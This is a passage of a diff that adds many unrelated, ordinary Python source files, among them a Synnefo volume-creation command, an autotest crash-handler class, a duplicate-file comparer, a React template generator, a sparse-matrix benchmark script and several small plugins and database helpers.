css_class='row-fluid' + ), + Div( + Div('position'), + css_class='row-fluid' + ), + + FormActions( + Submit('save_changes', _('Save changes'), css_class="btn-primary"), + Submit('cancel', 'Cancel'), + ) + ) + + def clean_position(self): + pos = self.cleaned_data.get('position', None) + if not pos: + try: + pos = self.basket.find_free_position() + except BasketIsFilled: + raise forms.ValidationError(_('Basket has no free slots.'), code='invalid') + + if pos > self.basket.slot_qty: + raise forms.ValidationError(_('Basket has only {} slots.').format(self.basket.slot_qty), code='invalid') + + try: + self.basket.validate_position(pos) + except BasketSlotIsBusy: + raise forms.ValidationError(_('This slot already taken.'), code='invalid') + + return pos diff --git a/pool/shard008/Python/0078277_uniq.py b/pool/shard008/Python/0078277_uniq.py new file mode 100644 index 0000000000000000000000000000000000000000..f6a7f1eceaf109f0422a283f0fac14fe2beaaa31 --- /dev/null +++ b/pool/shard008/Python/0078277_uniq.py @@ -0,0 +1,14 @@ +#!/usr/bin/python +from __future__ import print_function + +import sys + +keys = set() + +for line in sys.stdin.read().split('\n'): + tokens = line.strip().split('\t') + #print tokens + if len(tokens)<=1 or tokens[1] in keys: + continue + keys.add(tokens[1]) + print line diff --git a/pool/shard008/Python/0078279_volume-create.py b/pool/shard008/Python/0078279_volume-create.py new file mode 100644 index 0000000000000000000000000000000000000000..c0630736fc79bb70e78c7345f61f91d23d06f696 --- /dev/null +++ b/pool/shard008/Python/0078279_volume-create.py @@ -0,0 +1,151 @@ +# Copyright (C) 2010-2014 GRNET S.A. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from optparse import make_option + +from snf_django.management.commands import SynnefoCommand, CommandError + +from snf_django.management.utils import parse_bool +from synnefo.management import common, pprint +from synnefo.volume import volumes + +HELP_MSG = """Create a new volume.""" + + +class Command(SynnefoCommand): + help = HELP_MSG + umask = 0o007 + + option_list = SynnefoCommand.option_list + ( + make_option( + "--name", + dest="name", + default=None, + help="Display name of the volume."), + make_option( + "--description", + dest="description", + default=None, + help="Display description of the volume."), + make_option( + "--user", + dest="user_id", + default=None, + help="UUID of the owner of the volume."), + make_option( + "--project-id", + dest="project", + default=None, + help="UUID of the project of the volume."), + make_option( + "-s", "--size", + dest="size", + default=None, + help="Size of the new volume in GB"), + make_option( + "--source", + dest="source", + default=None, + help="Initialize volume with data from the specified source. The" + " source must be of the form :." + " Available source types are 'image' and 'snapshot'."), + make_option( + "--server", + dest="server_id", + default=None, + help="The ID of the server that the volume will be connected to."), + make_option( + "--volume-type", + dest="volume_type_id", + default=None, + help="The ID of the volume's type. If the volume will be attached" + " to a server, the volume's and the server's volume type" + " must match."), + make_option( + "--wait", + dest="wait", + default="True", + choices=["True", "False"], + metavar="True|False", + help="Wait for Ganeti jobs to complete."), + ) + + @common.convert_api_faults + def handle(self, *args, **options): + if args: + raise CommandError("Command doesn't accept any arguments") + + size = options.get("size") + user_id = options.get("user_id") + project_id = options.get("project") + server_id = options.get("server_id") + volume_type_id = options.get("volume_type_id") + wait = parse_bool(options["wait"]) + + display_name = options.get("name", "") + display_description = options.get("description", "") + + if size is None: + raise CommandError("Please specify the size of the volume") + + if server_id is None: + raise CommandError("Please specify the server to attach the" + " volume.") + + vm = common.get_resource("server", server_id, for_update=True) + + if user_id is None: + user_id = vm.userid + + if volume_type_id is not None: + vtype = common.get_resource("volume-type", volume_type_id) + else: + vtype = vm.flavor.volume_type + + if project_id is None: + project_id = vm.project + + source_image_id = source_volume_id = source_snapshot_id = None + source = options.get("source") + if source is not None: + try: + source_type, source_uuid = source.split(":", 1) + except (ValueError, TypeError): + raise CommandError("Invalid '--source' option. Value must be" + " of the form :") + if source_type == "image": + source_image_id = source_uuid + elif source_type == "snapshot": + source_snapshot_id = source_uuid + else: + raise CommandError("Unknown volume source type '%s'" + % source_type) + + volume = volumes.create(user_id, size, server_id, + name=display_name, + description=display_description, + source_image_id=source_image_id, + source_snapshot_id=source_snapshot_id, + source_volume_id=source_volume_id, + volume_type_id=vtype.id, + metadata={}, project=project_id) + + self.stdout.write("Created volume '%s' in DB:\n" % volume.id) + + pprint.pprint_volume(volume, stdout=self.stdout) + self.stdout.write("\n") + if volume.machine is not None: + volume.machine.task_job_id = volume.backendjobid + common.wait_server_task(volume.machine, wait, stdout=self.stdout) diff --git a/pool/shard008/Python/0078282_test.py b/pool/shard008/Python/0078282_test.py new file mode 100644 index 0000000000000000000000000000000000000000..2d3fd53e31239ca3ee38796fa9ec1b0455eca258 --- /dev/null +++ b/pool/shard008/Python/0078282_test.py @@ -0,0 +1,116 @@ +# Copyright Martin J. Bligh, Andy Whitcroft, 2006 +# +# Shell class for a test, inherited by all individual tests +# +# Methods: +# __init__ initialise +# initialize run once for each job +# setup run once for each new version of the test installed +# run run the test (wrapped by job.run_test()) +# +# Data: +# job backreference to the job this test instance is part of +# outputdir eg. results// +# resultsdir eg. results///results +# profdir eg. results///profiling +# debugdir eg. results///debug +# bindir eg. tests/ +# srcdir eg. tests//src +# tmpdir eg. tmp/ +# virtdir eg. virt + +import os, logging, resource, glob + +from autotest.client.shared import utils +from autotest.client.shared import test as common_test +from autotest.client import os_dep + + +class test(common_test.base_test): + # Segmentation fault handling is something that is desirable only for + # client side tests. + def configure_crash_handler(self): + """ + Configure the crash handler by: + * Setting up core size to unlimited + * Putting an appropriate crash handler on /proc/sys/kernel/core_pattern + * Create files that the crash handler will use to figure which tests + are active at a given moment + + The crash handler will pick up the core file and write it to + self.debugdir, and perform analysis on it to generate a report. The + program also outputs some results to syslog. + + If multiple tests are running, an attempt to verify if we still have + the old PID on the system process table to determine whether it is a + parent of the current test execution. If we can't determine it, the + core file and the report file will be copied to all test debug dirs. + """ + self.crash_handling_enabled = False + + # make sure this script will run with a new enough python to work + cmd = ("python -c 'import sys; " + "print sys.version_info[0], sys.version_info[1]'") + result = utils.run(cmd, ignore_status=True, verbose=False) + if result.exit_status != 0: + logging.warning('System python is too old, crash handling disabled') + return + major, minor = [int(x) for x in result.stdout.strip().split()] + if (major, minor) < (2, 4): + logging.warning('System python is too old, crash handling disabled') + return + + self.pattern_file = '/proc/sys/kernel/core_pattern' + try: + # Enable core dumps + resource.setrlimit(resource.RLIMIT_CORE, (-1, -1)) + # Trying to backup core pattern and register our script + self.core_pattern_backup = open(self.pattern_file, 'r').read() + pattern_file = open(self.pattern_file, 'w') + tools_dir = os.path.join(self.autodir, 'tools') + crash_handler_path = os.path.join(tools_dir, 'crash_handler.py') + pattern_file.write('|' + crash_handler_path + ' %p %t %u %s %h %e') + # Writing the files that the crash handler is going to use + self.debugdir_tmp_file = ('/tmp/autotest_results_dir.%s' % + os.getpid()) + utils.open_write_close(self.debugdir_tmp_file, self.debugdir + "\n") + except Exception, e: + logging.warning('Crash handling disabled: %s', e) + else: + self.crash_handling_enabled = True + try: + os_dep.command('gdb') + except ValueError: + logging.warning('Could not find GDB installed. Crash handling ' + 'will operate with limited functionality') + + + def crash_handler_report(self): + """ + If core dumps are found on the debugdir after the execution of the + test, let the user know. + """ + if self.crash_handling_enabled: + # Remove the debugdir info file + if os.path.isfile(self.debugdir_tmp_file): + os.unlink(self.debugdir_tmp_file) + # Restore the core pattern backup + try: + utils.open_write_close(self.pattern_file, + self.core_pattern_backup) + except EnvironmentError: + pass + # Let the user know if core dumps were generated during the test + core_dirs = glob.glob('%s/crash.*' % self.debugdir) + if core_dirs: + logging.warning('Programs crashed during test execution') + for dir in core_dirs: + logging.warning('Please verify %s for more info', dir) + + +def runtest(job, url, tag, args, dargs): + common_test.runtest(job, url, tag, args, dargs, locals(), globals(), + job.sysinfo.log_before_each_test, + job.sysinfo.log_after_each_test, + job.sysinfo.log_before_each_iteration, + job.sysinfo.log_after_each_iteration) diff --git a/pool/shard008/Python/0078288_comparedirs.py b/pool/shard008/Python/0078288_comparedirs.py new file mode 100644 index 0000000000000000000000000000000000000000..b0d2616a9ac01256f4ef5de325154feae2ccd30b --- /dev/null +++ b/pool/shard008/Python/0078288_comparedirs.py @@ -0,0 +1,161 @@ +#! /usr/bin/env python3 + +from collections import defaultdict +from typing import DefaultDict, Tuple +import os +import shelve + +from lib.files import get_hash, walk, PathList + + +# Types +class FileInfo(object): + def __init__(self, path: str, mtime: int, size: int): + self.path = path + self.mtime = mtime + self.size = size + self.hash = None if size else "0" + + + def __repr__(self): + return "<%s('%s')>" % (self.__class__.__name__, self.path) + + +class DirInfo(object): + def __init__(self): + # List of FileInfos in this directory + self.files = set() + + # filename -> set(match folders) where size, hash and name matched + self.name_matches = defaultdict(set) + + # filename -> list(FileInfo) where size and hash matched + self.hash_matches = defaultdict(list) + + +class Comparison(object): + """ Holds a description of a path comparison. See files, folders, sizes, hashes. """ + DB = "C:\\temp\\hashes.db" + + def __init__(self): + self.files = {} # Dict[str, FileInfo] + self.folders = defaultdict(DirInfo) # DefaultDict[str, DirInfo] + self.sizes = defaultdict(list) # DefaultDict[int, List[str]] + self.hashes = defaultdict(list) # DefaultDict[str, List[FileInfo]] + self.cache_hit = 0 + self.cache_miss = 0 + self.matches = None + + + def scan(self, paths: PathList, excludes: PathList = None) -> None: + """ + Scans the given directory paths for files to consider for matching. + + :param paths: Iterable that provides paths to scan for folders/files. + :param excludes: Optional iterable that specifies folder names or absolute paths to ignore. + """ + # Local name imports/aliases + from os.path import dirname + + if self.files: + self.__init__() # Calling scan resets values + + folders, files, sizes = self.folders, self.files, self.sizes + + for file_path, mtime, size in walk(paths, excludes): + file_path = file_path.lower() + file_info = FileInfo(file_path, mtime, size) + files[file_path] = file_info + + if size > 0: + folders[dirname(file_path)].files.add(file_info) + sizes[size].append(file_info) + + # Only sizes with > 1 file have anything worth comparing + self.sizes = dict((sz, files) for sz, files in self.sizes.items() if len(files) > 1) + + + def _purge(self, percentage=100.): + """ Testing Helper: nuke a percentage of DB contents """ + with shelve.open(self.DB) as db: + if percentage < 100.: + from random import sample + for kill in sample(list(db.keys()), int(len(db.keys()) * (percentage/100.))): + db[kill] = None + else: + db.clear() + db.sync() + + + def match(self, filecallback=None, reverse: bool=False) -> Tuple[int, int]: + """ + Retrieves hashes for all the files found to populate self.matches + + :return: total files that matched, discrete files + """ + if not self.files: + raise ValueError("No files found (did you call scan?)") + + with shelve.open(self.DB) as db: + for size, files in sorted(self.sizes.items(), reverse=reverse): + for file_info in files: + if file_info.hash: + if filecallback: + filecallback(file_info, size) + continue + dbinf = db.get(file_info.path, None) + if not dbinf or dbinf.mtime != file_info.mtime or dbinf.size != size: + if filecallback: + filecallback(file_info, 0) + file_info.hash = get_hash(file_info.path, size, size) + db[file_info.path] = file_info + self.cache_miss += 1 + else: + file_info.hash = dbinf.hash + self.cache_hit += 1 + self.hashes[file_info.hash].append(file_info) + if filecallback: + filecallback(file_info, size) + + self.matches = {hash_str: infos for hash_str, infos in self.hashes.items() if len(infos) > 1} + + return sum(len(h) for h in self.matches.values()), len(self.matches) + + + def classify(self): + """ Walks the tree and determines percentages of match between folders """ + from os.path import basename, dirname + if not self.matches: + raise ValueError("No matches found (did you call match?)") + + for hash_str, files in self.matches.items(): + # Build a set of discrete names and the folders they appear in + names = defaultdict(set) + + # Build a list of distinct file names and the hashes that match them, + # so we can determine files that have the same content and name, + # but also cross-link the hash matches between folders. + for fileinfo in files: + file_name, dir_path = basename(fileinfo.path), dirname(fileinfo.path) + names[file_name].add(dir_path) + self.folders[dir_path].hash_matches[file_name].extend(files) # simply link to the full match + + for name, folders in names.items(): + for folder in folders: + self.folders[folder].name_matches[name] = folders - {folder,} + + +def main(paths: PathList, excludes: PathList = None): + + comparison = Comparison() + + comparison.scan(paths=paths, excludes=excludes) + print("Folders:", len(comparison.folders)) + print("Files :", len(comparison.files)) + print("Sizes :", len(comparison.sizes)) + + comparison.hash() + + +if __name__ == "__main__": + main(paths=("G:\\",), excludes=(".svn", ".git", "G:\\SEM")) diff --git a/pool/shard008/Python/0078289_mixins.py b/pool/shard008/Python/0078289_mixins.py new file mode 100644 index 0000000000000000000000000000000000000000..b264a87d8e118ad44166c6cb7679aec6021b94f2 --- /dev/null +++ b/pool/shard008/Python/0078289_mixins.py @@ -0,0 +1,24 @@ +class TemplateCachedClear(object): + + def _get_loaders(self): + from django.template.loader import _engine_list + # _engine_list delivery really the backends templates + # when we can find the engines in django 1.8 + templates = _engine_list() + loaders = [] + for template in templates: + loaders += template.engine.template_loaders + + return loaders + + def reset_loaders(self): + loaders = self._get_loaders() + if loaders: + [loadertemplate.reset() for loadertemplate in loaders] + + +class TemplateCachedClearless18(TemplateCachedClear): + + def _get_loaders(self): + from django.template.loader import template_source_loaders + return template_source_loaders diff --git a/pool/shard008/Python/0078290_react_template.py b/pool/shard008/Python/0078290_react_template.py new file mode 100644 index 0000000000000000000000000000000000000000..f7c32c66090335d9bc19ce4cd70ab10526041086 --- /dev/null +++ b/pool/shard008/Python/0078290_react_template.py @@ -0,0 +1,133 @@ +from jinja2 import Template +import json + +class ReactTemplate(object): + """Base React class. + + This class handles the basic transformation of the React jsx code. + It takes a dictionary of options, renders the template, and + writes the transformed javascript file. + + Args: + template (str): jinja2 template for the react jsx code. + template_args (dict): options to be populated in the template. + path (str): path of the file to create. + """ + def __init__(self, template, template_args, path): + self.template = template + self.args = template_args + self.path = path + + def write_to_file(self, s): + """ + """ + f = open(self.path, 'w') + f.write(s) + f.close() + + def to_js(self): + """ + """ + t = Template(self.template) + js = t.render(**self.args) + self.write_to_file(js) + +def format_props(props, prop_template="{{k}} = { {{v}} }", delim="\n"): + """ Formats props for the React template. + + Args: + props (dict): properties to be written to the template. + + Returns: + Two lists, one containing variable names and the other + containing a list of props to be fed to the React template. + + """ + vars_ = [] + props_ = [] + for k, v in list(props.items()): + vars_.append(Template("var {{k}} = {{v}};").render(k=k,v=json.dumps(v))) + props_.append(Template(prop_template).render(k=k, v=k)) + return "\n".join(vars_), delim.join(props_) + + +class ReactComponent(ReactTemplate): + """Class to generate javascript from parameters. + + This class create a javascript file by compiling a JSX string containing + React components. A single parent component is rendered and sub-components + are passed into the component as props. + + Args: + name (str): name of the ReactComponent to create. + path (str): location of the javascript file containing the component. + element_id (str): html element id. + props (dict): properties of the react component to render. + static_path (str): output file destination. + """ + _react = ( + """ + import React from 'react'; + import ReactDOM from 'react-dom'; + import { {{name}} as Component} from '{{path}}'; + {{vars}} + ReactDOM.render( + , + document.getElementById("{{id}}") + ); + """) + + _react_export = ( + """ + import React from 'react'; + import ReactDOM from 'react-dom'; + import { {{name}} as Component} from '{{path}}'; + + {{vars}} + + class {{alias}} extends React.Component { + constructor(props) { + super(props); + } + + render() { + return ( + + ); + } + } + {{alias}}.defaultProps = { + {{props}} + }; + export default {{alias}}; + + """) + def __init__(self, name, path, element_id, + props={}, static_path="", alias=None): + + _template = self._react + prop_template = "{{k}} = { {{v}} }" + delim = "\n" + if alias: + prop_template = "{{k}} : {{v}}" + delim = ",\n" + _template = self._react_export + + vars_, props_ = format_props(props, + prop_template=prop_template, delim=delim) + + params = { + "name": name, + "alias": alias, + "path": path, + "vars": vars_, + "props": props_, + "id": element_id + } + for k, v in list(props.items()): + params[k] = v + + super(ReactComponent, self).__init__( + _template, params, static_path) + self.to_js() diff --git a/pool/shard008/Python/0078292_setup_benchmark.py b/pool/shard008/Python/0078292_setup_benchmark.py new file mode 100644 index 0000000000000000000000000000000000000000..6ebf918d7331fd62d55553de2529169bb347c3bd --- /dev/null +++ b/pool/shard008/Python/0078292_setup_benchmark.py @@ -0,0 +1,149 @@ +"""This script wil set up benchmark of sparse matrices in the current +working directory. The structure of the benchmarks is: +benchmark_data/ + Matrix.mtx + Matrix_b.mtx + Matrix_sol.mtx + +The system matrix and RHS are extracted from UoF. The expected solution is taken +either from: +- a provided solutions.tar.gz archive of previously computed expected solutions +- re-computed using the sparse linear algebra submodule in scipy + +If present, the file uof_matrix_names.txt can be used to refetech the benchmark: +python setup_benchmark.py -f uof_matrix_names.txt + +This script will perform caching: if all required + +The list of required matrices can be specified by command line, or by +modifying the selection criteria in this script. + +Note! By default only matrices with a right hand side are +downloaded. The list of matrices is given in uof_rhs_names, and used +by fetch.py. This list may come out of the date, but seems the +simplest mechanism to keep track of RHS matrices for the moment. An +alternative would be to download the matrix and verify, but this means +we cannot first select a matrix, and then donwload it which slows the +interactive process a bit. +""" +import fetch +import os.path +import json +from tabulate import tabulate +from subprocess import call + +import argparse +import urllib +import utils + +SOLUTIONS_URL = 'https://www.doc.ic.ac.uk/~pg1709/solutions.tar.gz' + +def matrix_name(matrix_file): + return matrix_file.replace('_SPD_x.mtx', '') + + +def add_solutions(collection, solutionArchive='solutions.tar.gz', url=SOLUTIONS_URL): + if not os.path.exists(solutionArchive): + utils.warn('Could not find expected solutions archive!') + utils.info('Attempting to download solutions from: ' + url) + found = urllib.urlopen(url) + if found.code != 200: + utils.error('Solution download failed: ' + url) + return + urllib.urlretrieve(url, solutionArchive) + call(["tar", "-xzf", solutionArchive]) + for f in os.listdir("solutions"): + mname = matrix_name(f) + for m in collection.matrixList: + if m.name == mname: + m.hasSol = True + m.solFile = "solutions/" + f + + + +def make_benchmark(collection): + """Group all systems and solutions in a single directory""" + # Check if we have all required information for the benchmark + not_cached = collection.select(lambda x: not x.solFile or not x.file or not x.rhsFile) + # import pdb;pdb.set_trace() + if not_cached.matrixList: + # Download the matrices which are not cached + not_cached.download() + else: + utils.info('All systems are cached, will not re-fetch') + + # create benchmark directory + benchmark_dir = 'benchmark_data' + if not os.path.exists(benchmark_dir): + os.mkdir(benchmark_dir) + for m in collection.matrixList: + mat_name = m.name + ".mtx" + rhs_name = m.name + "_b.mtx" + sol_name = m.name + "_sol.mtx" + mat_path = os.path.join(benchmark_dir, mat_name) + rhs_path = os.path.join(benchmark_dir, rhs_name) + sol_path = os.path.join(benchmark_dir, sol_name) + if not os.path.exists(mat_path): + call(['cp', m.file, mat_path]) + if not os.path.exists(rhs_path): + call(['cp', m.rhsFile, rhs_path]) + if not os.path.exists(sol_path): + call(['cp', m.solFile, sol_path]) + m.file = mat_path + m.rhsFile = rhs_path + m.solFile = sol_path + + +def run_benchmark(collection): + """Run each solver on a system and record the results""" + solvers = ['../../build/test_cg_mock'] + headers = ['estimated error', 'solve took', 'setup took', + 'error', 'iterations', 'bench repetitions'] + all_data = [] + for s in solvers: + if not os.path.exists(s): + print 'Error! Missing solver', s + continue + for m in collection.matrixList: + print 'Solving', m.file, 'with solver', s + utils.execute([s, '-mat', m.file, '-rhs', m.rhsFile, '-lhs', m.solFile]) + for prec in ['ilu', 'upc']: + with open('sol.' + prec + '.mtx.log') as f: + json_data = json.load(f) + all_data.append([json_data[h] for h in headers] + [m.name, 'CG:' + prec]) + headers.extend(['matrix', 'solver']) + print tabulate(all_data, headers) + + +def main(): + parser = argparse.ArgumentParser(description='Run Spark DSE flow') + parser.add_argument('-n', '--firstN', type=int, default=3) + args = parser.parse_args() + # Download all SPD matrices if not already present + + # get matrix list and print it + + # if no matrices specified, use the default criteria + systems = fetch.fetch().getSpdLinearSystems() + + # add solution information + add_solutions(systems) + + systems_without_solutions = systems.select(lambda x: not x.hasSol) + if systems_without_solutions: + utils.warn('Some systems do not have solutions') + print systems_without_solutions + + systems_with_solutions = systems.select(lambda x: x.hasSol) + + if not systems_with_solutions.matrixList: + utils.warn('No system has an expected solution') + make_benchmark(systems_without_solutions) + run_benchmark(systems_without_solutions.head(args.firstN)) + return + + make_benchmark(systems_with_solutions) + run_benchmark(systems_with_solutions.head(args.firstN)) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078303_qc_test_ext.py b/pool/shard008/Python/0078303_qc_test_ext.py new file mode 100644 index 0000000000000000000000000000000000000000..98fe584ca8b20ea907ed67ad144684847d1453f6 --- /dev/null +++ b/pool/shard008/Python/0078303_qc_test_ext.py @@ -0,0 +1,56 @@ +# -*- encoding: utf-8 -*- +############################################################################## +# +# Avanzosc - Avanced Open Source Consulting +# Copyright (C) 2011 - 2014 Avanzosc +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see http://www.gnu.org/licenses/. +# +############################################################################## +from osv import osv +from osv import fields +import decimal_precision as dp + +class qc_test(osv.osv): + + _inherit = 'qc.test' + + _columns = {# Tiene adjuntos + 'has_attachments':fields.boolean('Has Attachmets', readonly=True), + # Adjuntos + 'attachment_ids': fields.many2many('ir.attachment','qc_test_attachment_rel','qc_test_id','attachment_id','Attachments'), + } + + def create(self, cr, uid, data, context=None): + qc_test_id = super(qc_test, self).create(cr, uid, data, context=context) + test = self.browse(cr,uid,qc_test_id,context=context) + if test.attachment_ids: + self.write(cr,uid,[qc_test_id],{'has_attachments': True},context=context) + return qc_test_id + + def write(self, cr, uid, ids, vals, context=None): + if vals.has_key('attachment_ids'): + attachment_ids = vals['attachment_ids'] + if attachment_ids: + if attachment_ids[0][2]: + vals.update({'has_attachments': True}) + else: + vals.update({'has_attachments': False}) + else: + vals.update({'has_attachments': False}) + + result = super(qc_test, self).write(cr, uid, ids, vals, context=context) + return result + +qc_test() \ No newline at end of file diff --git a/pool/shard008/Python/0078306_soundcloud.py b/pool/shard008/Python/0078306_soundcloud.py new file mode 100644 index 0000000000000000000000000000000000000000..86ff4f9c0bb722f9954d42b63c62370c45613588 --- /dev/null +++ b/pool/shard008/Python/0078306_soundcloud.py @@ -0,0 +1,59 @@ +""" +Soundcloud Tag +-------------- +This implements a Liquid-style soundcloud tag for Pelican. + +It asks the official Soundcloud-API for the widget html code. + +Syntax +------ +`{% soundcloud track_url %}` + +Example +------- +`{% soundcloud https://soundcloud.com/luftmentsh/hakotel %}` + +Output +------ +`` +""" +from .mdx_liquid_tags import LiquidTags +import re +import json +try: + from urllib.request import urlopen +except ImportError: + from urllib import urlopen + + +SYNTAX = '{% soundcloud track_url %}' +PARSE_SYNTAX = re.compile(r'(?Phttps?://soundcloud.com/[\S]+)') + + +def get_widget(track_url): + r = urlopen( + 'http://soundcloud.com/oembed', + data='format=json&url={}'.format(track_url).encode('utf-8')) + + return json.loads(r.read().decode('utf-8'))['html'] + + +def match_it(markup): + match = PARSE_SYNTAX.search(markup) + if match: + return match.groupdict() + else: + raise ValueError('Error processing input. ' + 'Expected syntax: {}'.format(SYNTAX)) + + +@LiquidTags.register('soundcloud') +def soundcloud(preprocessor, tag, markup): + track_url = match_it(markup)['track_url'] + + return get_widget(track_url) + + +# --------------------------------------------------- +# This import allows image tag to be a Pelican plugin +from liquid_tags import register diff --git a/pool/shard008/Python/0078307_test_contacts.py b/pool/shard008/Python/0078307_test_contacts.py new file mode 100644 index 0000000000000000000000000000000000000000..e2054c5e0f3bfb12e0f1de7c347afa5e9dc1e388 --- /dev/null +++ b/pool/shard008/Python/0078307_test_contacts.py @@ -0,0 +1,33 @@ +import random +from model.contact import Contact + + +def test_contacts_on_home_page(app, db): + contacts_from_home_page = app.contact.get_contact_list() + contacts_from_db = db.get_contact_list() + assert len(contacts_from_home_page) == len(contacts_from_db) + for contact in contacts_from_db: + contact.all_phones_from_home_page = app.contact.merge_phones_like_on_home_page(contact) + contact.all_emails = app.contact.merge_emails_like_on_home_page(contact) + if contact.firstname: + contact.firstname= contact.firstname.strip() + else: + contact.firstname = '' + if contact.lastname: + contact.lastname= contact.lastname.strip() + else: + contact.lastname = '' + if contact.address: + contact.address = contact.address.strip() + else: + contact.address = '' + print("from home page: ", contacts_from_home_page) + print("from DB: ", contacts_from_db) + sorted_contacts_from_home_page = sorted(contacts_from_home_page, key=Contact.id_or_max) + sorted_contacts_from_db = sorted(contacts_from_db, key=Contact.id_or_max) + for i in range(0, len(contacts_from_db)-1): + print("iteration: ",i) + assert (sorted_contacts_from_home_page[i] == sorted_contacts_from_db[i] and + sorted_contacts_from_home_page[i].address == sorted_contacts_from_db[i].address and + sorted_contacts_from_home_page[i].all_phones_from_home_page == sorted_contacts_from_db[i].all_phones_from_home_page and + sorted_contacts_from_home_page[i].all_emails == sorted_contacts_from_db[i].all_emails) diff --git a/pool/shard008/Python/0078310_common_network_pika.py b/pool/shard008/Python/0078310_common_network_pika.py new file mode 100644 index 0000000000000000000000000000000000000000..2b9a73081320eadeb3136be2a3fcb0003082f8a4 --- /dev/null +++ b/pool/shard008/Python/0078310_common_network_pika.py @@ -0,0 +1,34 @@ +""" + Copyright (C) 2019 Quinn D Granfor + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + version 2, as published by the Free Software Foundation. + + This program is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License version 2 for more details. + + You should have received a copy of the GNU General Public License + version 2 along with this program; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. +""" + +import json + +import pika + + +def com_net_pika_send(body_data, rabbit_host_name='mkstack_rabbitmq', exchange_name='mkque_ex', + route_key='mkque'): + pika_inst = pika.BlockingConnection(pika.ConnectionParameters(host=rabbit_host_name)) + pika_channel = pika_inst.channel() + pika_channel.exchange_declare(exchange=exchange_name, exchange_type='direct', durable=True) + pika_channel.basic_publish(exchange=exchange_name, + routing_key=route_key, + body=json.dumps(body_data), + properties=pika.BasicProperties(content_type='text/plain', + delivery_mode=2)) + pika_inst.close() diff --git a/pool/shard008/Python/0078311_database.py b/pool/shard008/Python/0078311_database.py new file mode 100644 index 0000000000000000000000000000000000000000..bc2a61cd0a8b14f37e1c5c40ae4c68145a5a1d47 --- /dev/null +++ b/pool/shard008/Python/0078311_database.py @@ -0,0 +1,128 @@ +import apsw +import logging +logger = logging.getLogger(__name__) +import time + + +from dogepartylib.lib import config +from dogepartylib.lib import util +from dogepartylib.lib import exceptions +from dogepartylib.lib import log + +def rowtracer(cursor, sql): + """Converts fetched SQL data into dict-style""" + dictionary = {} + for index, (name, type_) in enumerate(cursor.getdescription()): + dictionary[name] = sql[index] + return dictionary + +def exectracer(cursor, sql, bindings): + # This means that all changes to database must use a very simple syntax. + # TODO: Need sanity checks here. + sql = sql.lower() + + # Parse SQL. + array = sql.split('(')[0].split(' ') + command = array[0] + if 'insert' in sql: + category = array[2] + elif 'update' in sql: + category = array[1] + else: + return True + + db = cursor.getconnection() + dictionary = {'command': command, 'category': category, 'bindings': bindings} + + skip_tables = [ + 'blocks', 'transactions', + 'balances', 'messages', 'mempool', 'assets', + 'suicides', 'postqueue', # These tables are ephemeral. + 'nonces', 'storage' # List message manually. + ] + if command == 'update': + # List message manually. + skip_tables += ['orders', 'bets', 'rps', 'order_matches', 'bet_matches', 'rps_matches', 'contracts'] + + # Record alteration in database. + if category not in skip_tables: + log.message(db, bindings['block_index'], command, category, bindings) + + return True + +class DatabaseIntegrityError(exceptions.DatabaseError): + pass +def get_connection(read_only=True, foreign_keys=True, integrity_check=True): + """Connects to the SQLite database, returning a db `Connection` object""" + logger.debug('Creating connection to `{}`.'.format(config.DATABASE)) + + if read_only: + db = apsw.Connection(config.DATABASE, flags=0x00000001) + else: + db = apsw.Connection(config.DATABASE) + cursor = db.cursor() + + # For integrity, security. + if foreign_keys and not read_only: + # logger.debug('Checking database foreign keys.') + cursor.execute('''PRAGMA foreign_keys = ON''') + cursor.execute('''PRAGMA defer_foreign_keys = ON''') + rows = list(cursor.execute('''PRAGMA foreign_key_check''')) + if rows: + for row in rows: + logger.debug('Foreign Key Error: {}'.format(row)) + raise exceptions.DatabaseError('Foreign key check failed.') + + # So that writers don’t block readers. + cursor.execute('''PRAGMA journal_mode = WAL''') + # logger.debug('Foreign key check completed.') + + # Make case sensitive the `LIKE` operator. + # For insensitive queries use 'UPPER(fieldname) LIKE value.upper()'' + cursor.execute('''PRAGMA case_sensitive_like = ON''') + + if integrity_check: + logger.debug('Checking database integrity.') + integral = False + for i in range(10): # DUPE + try: + cursor.execute('''PRAGMA integrity_check''') + rows = cursor.fetchall() + if not (len(rows) == 1 and rows[0][0] == 'ok'): + raise exceptions.DatabaseError('Integrity check failed.') + integral = True + break + except DatabaseIntegrityError: + time.sleep(1) + continue + if not integral: + raise exceptions.DatabaseError('Could not perform integrity check.') + # logger.debug('Integrity check completed.') + + db.setrowtrace(rowtracer) + db.setexectrace(exectracer) + + cursor.close() + return db + +def version(db): + cursor = db.cursor() + user_version = cursor.execute('PRAGMA user_version').fetchall()[0]['user_version'] + # manage old user_version + if user_version == config.VERSION_MINOR: + version_minor = user_version + version_major = config.VERSION_MAJOR + user_version = (config.VERSION_MAJOR * 1000) + version_minor + cursor.execute('PRAGMA user_version = {}'.format(user_version)) + else: + version_minor = user_version % 1000 + version_major = user_version // 1000 + return version_major, version_minor + +def update_version(db): + cursor = db.cursor() + user_version = (config.VERSION_MAJOR * 1000) + config.VERSION_MINOR + cursor.execute('PRAGMA user_version = {}'.format(user_version)) # Syntax?! + logger.info('Database version number updated.') + +# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 diff --git a/pool/shard008/Python/0078313_bucket.py b/pool/shard008/Python/0078313_bucket.py new file mode 100644 index 0000000000000000000000000000000000000000..25c4ae90a70c21dec6e871d61c5565a12cd00ede --- /dev/null +++ 